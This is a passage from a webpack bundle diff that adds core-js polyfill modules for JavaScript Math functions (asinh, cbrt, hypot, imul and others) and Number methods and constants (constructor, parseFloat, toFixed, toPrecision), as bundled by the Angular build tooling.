./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.asinh.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var nativeAsinh = Math.asinh; +var log = Math.log; +var sqrt = Math.sqrt; + +function asinh(x) { + return !isFinite(x = +x) || x == 0 ? x : x < 0 ? -asinh(-x) : log(x + sqrt(x * x + 1)); +} + +// `Math.asinh` method +// https://tc39.github.io/ecma262/#sec-math.asinh +// Tor Browser bug: Math.asinh(0) -> -0 +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true, forced: !(nativeAsinh && 1 / nativeAsinh(0) > 0) }, { + asinh: asinh +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.atanh.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.atanh.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var nativeAtanh = Math.atanh; +var log = Math.log; + +// `Math.atanh` method +// https://tc39.github.io/ecma262/#sec-math.atanh +// Tor Browser bug: Math.atanh(-0) -> 0 +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true, forced: !(nativeAtanh && 1 / nativeAtanh(-0) < 0) }, { + atanh: function atanh(x) { + return (x = +x) == 0 ? x : log((1 + x) / (1 - x)) / 2; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.cbrt.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.cbrt.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var sign = __webpack_require__(/*! ../internals/math-sign */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-sign.js"); +var abs = Math.abs; +var pow = Math.pow; + +// `Math.cbrt` method +// https://tc39.github.io/ecma262/#sec-math.cbrt +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { + cbrt: function cbrt(x) { + return sign(x = +x) * pow(abs(x), 1 / 3); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.clz32.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.clz32.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var floor = Math.floor; +var log = Math.log; +var LOG2E = Math.LOG2E; + +// `Math.clz32` method +// https://tc39.github.io/ecma262/#sec-math.clz32 +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { + clz32: function clz32(x) { + return (x >>>= 0) ? 31 - floor(log(x + 0.5) * LOG2E) : 32; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.cosh.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.cosh.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var expm1 = __webpack_require__(/*! ../internals/math-expm1 */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-expm1.js"); +var nativeCosh = Math.cosh; +var abs = Math.abs; +var E = Math.E; + +// `Math.cosh` method +// https://tc39.github.io/ecma262/#sec-math.cosh +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true, forced: !nativeCosh || nativeCosh(710) === Infinity }, { + cosh: function cosh(x) { + var t = expm1(abs(x) - 1) + 1; + return (t + 1 / (t * E * E)) * (E / 2); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.expm1.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.expm1.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var expm1Implementation = __webpack_require__(/*! ../internals/math-expm1 */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-expm1.js"); + +// `Math.expm1` method +// https://tc39.github.io/ecma262/#sec-math.expm1 +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true, forced: expm1Implementation != Math.expm1 }, { + expm1: expm1Implementation +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.fround.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.fround.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Math.fround` method +// https://tc39.github.io/ecma262/#sec-math.fround +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { fround: __webpack_require__(/*! ../internals/math-fround */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-fround.js") }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.hypot.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.hypot.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var abs = Math.abs; +var sqrt = Math.sqrt; + +// `Math.hypot` method +// https://tc39.github.io/ecma262/#sec-math.hypot +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { + hypot: function hypot(value1, value2) { // eslint-disable-line no-unused-vars + var sum = 0; + var i = 0; + var aLen = arguments.length; + var larg = 0; + var arg, div; + while (i < aLen) { + arg = abs(arguments[i++]); + if (larg < arg) { + div = larg / arg; + sum = sum * div * div + 1; + larg = arg; + } else if (arg > 0) { + div = arg / larg; + sum += div * div; + } else sum += arg; + } + return larg === Infinity ? Infinity : larg * sqrt(sum); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.imul.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.imul.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var nativeImul = Math.imul; + +var FORCED = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + return nativeImul(0xFFFFFFFF, 5) != -5 || nativeImul.length != 2; +}); + +// `Math.imul` method +// https://tc39.github.io/ecma262/#sec-math.imul +// some WebKit versions fails with big numbers, some has wrong arity +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true, forced: FORCED }, { + imul: function imul(x, y) { + var UINT16 = 0xFFFF; + var xn = +x; + var yn = +y; + var xl = UINT16 & xn; + var yl = UINT16 & yn; + return 0 | xl * yl + ((UINT16 & xn >>> 16) * yl + xl * (UINT16 & yn >>> 16) << 16 >>> 0); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.log10.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.log10.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var log = Math.log; +var LOG10E = Math.LOG10E; + +// `Math.log10` method +// https://tc39.github.io/ecma262/#sec-math.log10 +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { + log10: function log10(x) { + return log(x) * LOG10E; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.log1p.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.log1p.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Math.log1p` method +// https://tc39.github.io/ecma262/#sec-math.log1p +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { log1p: __webpack_require__(/*! ../internals/math-log1p */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-log1p.js") }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.log2.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.log2.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var log = Math.log; +var LN2 = Math.LN2; + +// `Math.log2` method +// https://tc39.github.io/ecma262/#sec-math.log2 +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { + log2: function log2(x) { + return log(x) / LN2; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.sign.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.sign.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Math.sign` method +// https://tc39.github.io/ecma262/#sec-math.sign +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { sign: __webpack_require__(/*! ../internals/math-sign */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-sign.js") }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.sinh.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.sinh.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var expm1 = __webpack_require__(/*! ../internals/math-expm1 */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-expm1.js"); +var abs = Math.abs; +var exp = Math.exp; +var E = Math.E; + +var FORCED = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + return Math.sinh(-2e-17) != -2e-17; +}); + +// `Math.sinh` method +// https://tc39.github.io/ecma262/#sec-math.sinh +// V8 near Chromium 38 has a problem with very small numbers +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true, forced: FORCED }, { + sinh: function sinh(x) { + return abs(x = +x) < 1 ? (expm1(x) - expm1(-x)) / 2 : (exp(x - 1) - exp(-x - 1)) * (E / 2); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.tanh.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.tanh.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var expm1 = __webpack_require__(/*! ../internals/math-expm1 */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/math-expm1.js"); +var exp = Math.exp; + +// `Math.tanh` method +// https://tc39.github.io/ecma262/#sec-math.tanh +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { + tanh: function tanh(x) { + var a = expm1(x = +x); + var b = expm1(-x); + return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (exp(x) + exp(-x)); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.to-string-tag.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.to-string-tag.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Math[@@toStringTag] property +// https://tc39.github.io/ecma262/#sec-math-@@tostringtag +__webpack_require__(/*! ../internals/set-to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js")(Math, 'Math', true); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.trunc.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.trunc.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ceil = Math.ceil; +var floor = Math.floor; + +// `Math.trunc` method +// https://tc39.github.io/ecma262/#sec-math.trunc +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Math', stat: true }, { + trunc: function trunc(it) { + return (it > 0 ? floor : ceil)(it); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.constructor.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.constructor.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var isForced = __webpack_require__(/*! ../internals/is-forced */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js"); +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var inheritIfRequired = __webpack_require__(/*! ../internals/inherit-if-required */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/inherit-if-required.js"); +var toPrimitive = __webpack_require__(/*! ../internals/to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var getOwnPropertyNames = __webpack_require__(/*! ../internals/object-get-own-property-names */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-names.js").f; +var getOwnPropertyDescriptor = __webpack_require__(/*! ../internals/object-get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-get-own-property-descriptor.js").f; +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; +var internalStringTrim = __webpack_require__(/*! ../internals/string-trim */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-trim.js"); +var NUMBER = 'Number'; +var NativeNumber = global[NUMBER]; +var NumberPrototype = NativeNumber.prototype; + +// Opera ~12 has broken Object#toString +var BROKEN_CLASSOF = classof(__webpack_require__(/*! ../internals/object-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js")(NumberPrototype)) == NUMBER; +var NATIVE_TRIM = 'trim' in String.prototype; + +// `ToNumber` abstract operation +// https://tc39.github.io/ecma262/#sec-tonumber +var toNumber = function (argument) { + var it = toPrimitive(argument, false); + var first, third, radix, maxCode, digits, length, i, code; + if (typeof it == 'string' && it.length > 2) { + it = NATIVE_TRIM ? it.trim() : internalStringTrim(it, 3); + first = it.charCodeAt(0); + if (first === 43 || first === 45) { + third = it.charCodeAt(2); + if (third === 88 || third === 120) return NaN; // Number('+0x1') should be NaN, old V8 fix + } else if (first === 48) { + switch (it.charCodeAt(1)) { + case 66: case 98: radix = 2; maxCode = 49; break; // fast equal of /^0b[01]+$/i + case 79: case 111: radix = 8; maxCode = 55; break; // fast equal of /^0o[0-7]+$/i + default: return +it; + } + digits = it.slice(2); + length = digits.length; + for (i = 0; i < length; i++) { + code = digits.charCodeAt(i); + // parseInt parses a string to a first unavailable symbol + // but ToNumber should return NaN if a string contains unavailable symbols + if (code < 48 || code > maxCode) return NaN; + } return parseInt(digits, radix); + } + } return +it; +}; + +// `Number` constructor +// https://tc39.github.io/ecma262/#sec-number-constructor +if (isForced(NUMBER, !NativeNumber(' 0o1') || !NativeNumber('0b1') || NativeNumber('+0x1'))) { + var NumberWrapper = function Number(value) { + var it = arguments.length < 1 ? 0 : value; + var that = this; + return that instanceof NumberWrapper + // check on 1..constructor(foo) case + && (BROKEN_CLASSOF ? fails(function () { NumberPrototype.valueOf.call(that); }) : classof(that) != NUMBER) + ? inheritIfRequired(new NativeNumber(toNumber(it)), that, NumberWrapper) : toNumber(it); + }; + for (var keys = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js") ? getOwnPropertyNames(NativeNumber) : ( + // ES3: + 'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' + + // ES2015 (in case, if modules with ES2015 Number statics required before): + 'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' + + 'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger' + ).split(','), j = 0, key; keys.length > j; j++) { + if (has(NativeNumber, key = keys[j]) && !has(NumberWrapper, key)) { + defineProperty(NumberWrapper, key, getOwnPropertyDescriptor(NativeNumber, key)); + } + } + NumberWrapper.prototype = NumberPrototype; + NumberPrototype.constructor = NumberWrapper; + __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js")(global, NUMBER, NumberWrapper); +} + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.epsilon.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.epsilon.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Number.EPSILON` constant +// https://tc39.github.io/ecma262/#sec-number.epsilon +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', stat: true }, { EPSILON: Math.pow(2, -52) }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-finite.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-finite.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Number.isFinite` method +// https://tc39.github.io/ecma262/#sec-number.isfinite +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', stat: true }, { + isFinite: __webpack_require__(/*! ../internals/number-is-finite */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/number-is-finite.js") +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-integer.js": +/*!*********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-integer.js ***! + \*********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Number.isInteger` method +// https://tc39.github.io/ecma262/#sec-number.isinteger +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', stat: true }, { + isInteger: __webpack_require__(/*! ../internals/is-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-integer.js") +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-nan.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-nan.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Number.isNaN` method +// https://tc39.github.io/ecma262/#sec-number.isnan +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', stat: true }, { + isNaN: function isNaN(number) { + // eslint-disable-next-line no-self-compare + return number != number; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-safe-integer.js": +/*!**************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-safe-integer.js ***! + \**************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isInteger = __webpack_require__(/*! ../internals/is-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-integer.js"); +var abs = Math.abs; + +// `Number.isSafeInteger` method +// https://tc39.github.io/ecma262/#sec-number.issafeinteger +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', stat: true }, { + isSafeInteger: function isSafeInteger(number) { + return isInteger(number) && abs(number) <= 0x1FFFFFFFFFFFFF; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.max-safe-integer.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.max-safe-integer.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Number.MAX_SAFE_INTEGER` constant +// https://tc39.github.io/ecma262/#sec-number.max_safe_integer +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', stat: true }, { MAX_SAFE_INTEGER: 0x1FFFFFFFFFFFFF }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.min-safe-integer.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.min-safe-integer.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Number.MIN_SAFE_INTEGER` constant +// https://tc39.github.io/ecma262/#sec-number.min_safe_integer +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', stat: true }, { MIN_SAFE_INTEGER: -0x1FFFFFFFFFFFFF }); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.parse-float.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.parse-float.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var parseFloat = __webpack_require__(/*! ../internals/parse-float */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/parse-float.js"); + +// `Number.parseFloat` method +// https://tc39.github.io/ecma262/#sec-number.parseFloat +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', stat: true, forced: Number.parseFloat != parseFloat }, { + parseFloat: parseFloat +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.parse-int.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.parse-int.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var parseInt = __webpack_require__(/*! ../internals/parse-int */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/parse-int.js"); + +// `Number.parseInt` method +// https://tc39.github.io/ecma262/#sec-number.parseint +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', stat: true, forced: Number.parseInt != parseInt }, { + parseInt: parseInt +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.to-fixed.js": +/*!*******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.to-fixed.js ***! + \*******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toInteger = __webpack_require__(/*! ../internals/to-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js"); +var thisNumberValue = __webpack_require__(/*! ../internals/this-number-value */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/this-number-value.js"); +var repeat = __webpack_require__(/*! ../internals/string-repeat */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-repeat.js"); +var nativeToFixed = 1.0.toFixed; +var floor = Math.floor; +var data = [0, 0, 0, 0, 0, 0]; + +var multiply = function (n, c) { + var i = -1; + var c2 = c; + while (++i < 6) { + c2 += n * data[i]; + data[i] = c2 % 1e7; + c2 = floor(c2 / 1e7); + } +}; + +var divide = function (n) { + var i = 6; + var c = 0; + while (--i >= 0) { + c += data[i]; + data[i] = floor(c / n); + c = (c % n) * 1e7; + } +}; + +var numToString = function () { + var i = 6; + var s = ''; + while (--i >= 0) { + if (s !== '' || i === 0 || data[i] !== 0) { + var t = String(data[i]); + s = s === '' ? t : s + repeat.call('0', 7 - t.length) + t; + } + } return s; +}; + +var pow = function (x, n, acc) { + return n === 0 ? acc : n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc); +}; + +var log = function (x) { + var n = 0; + var x2 = x; + while (x2 >= 4096) { + n += 12; + x2 /= 4096; + } + while (x2 >= 2) { + n += 1; + x2 /= 2; + } return n; +}; + +// `Number.prototype.toFixed` method +// https://tc39.github.io/ecma262/#sec-number.prototype.tofixed +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', proto: true, forced: nativeToFixed && ( + 0.00008.toFixed(3) !== '0.000' || + 0.9.toFixed(0) !== '1' || + 1.255.toFixed(2) !== '1.25' || + 1000000000000000128.0.toFixed(0) !== '1000000000000000128' +) || !__webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js")(function () { + // V8 ~ Android 4.3- + nativeToFixed.call({}); +}) }, { + toFixed: function toFixed(fractionDigits) { + var x = thisNumberValue(this); + var f = toInteger(fractionDigits); + var s = ''; + var m = '0'; + var e, z, j, k; + if (f < 0 || f > 20) throw RangeError('Incorrect fraction digits'); + // eslint-disable-next-line no-self-compare + if (x != x) return 'NaN'; + if (x <= -1e21 || x >= 1e21) return String(x); + if (x < 0) { + s = '-'; + x = -x; + } + if (x > 1e-21) { + e = log(x * pow(2, 69, 1)) - 69; + z = e < 0 ? x * pow(2, -e, 1) : x / pow(2, e, 1); + z *= 0x10000000000000; + e = 52 - e; + if (e > 0) { + multiply(0, z); + j = f; + while (j >= 7) { + multiply(1e7, 0); + j -= 7; + } + multiply(pow(10, j, 1), 0); + j = e - 1; + while (j >= 23) { + divide(1 << 23); + j -= 23; + } + divide(1 << j); + multiply(1, 1); + divide(2); + m = numToString(); + } else { + multiply(0, z); + multiply(1 << -e, 0); + m = numToString() + repeat.call('0', f); + } + } + if (f > 0) { + k = m.length; + m = s + (k <= f ? '0.' + repeat.call('0', f - k) + m : m.slice(0, k - f) + '.' + m.slice(k - f)); + } else { + m = s + m; + } return m; + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.to-precision.js": +/*!***********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.to-precision.js ***! + \***********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var thisNumberValue = __webpack_require__(/*! ../internals/this-number-value */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/this-number-value.js"); +var nativeToPrecision = 1.0.toPrecision; + +// `Number.prototype.toPrecision` method +// https://tc39.github.io/ecma262/#sec-number.prototype.toprecision +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Number', proto: true, forced: fails(function () { + // IE7- + return nativeToPrecision.call(1, undefined) !== '1'; +}) || !fails(function () { + // V8 ~ Android 4.3- + nativeToPrecision.call({}); +}) }, { + toPrecision: function toPrecision(precision) { + return precision === undefined + ? nativeToPrecision.call(thisNumberValue(this)) + : nativeToPrecision.call(thisNumberValue(this), precision); + } +}); + + +/***/ }), + +/***/ 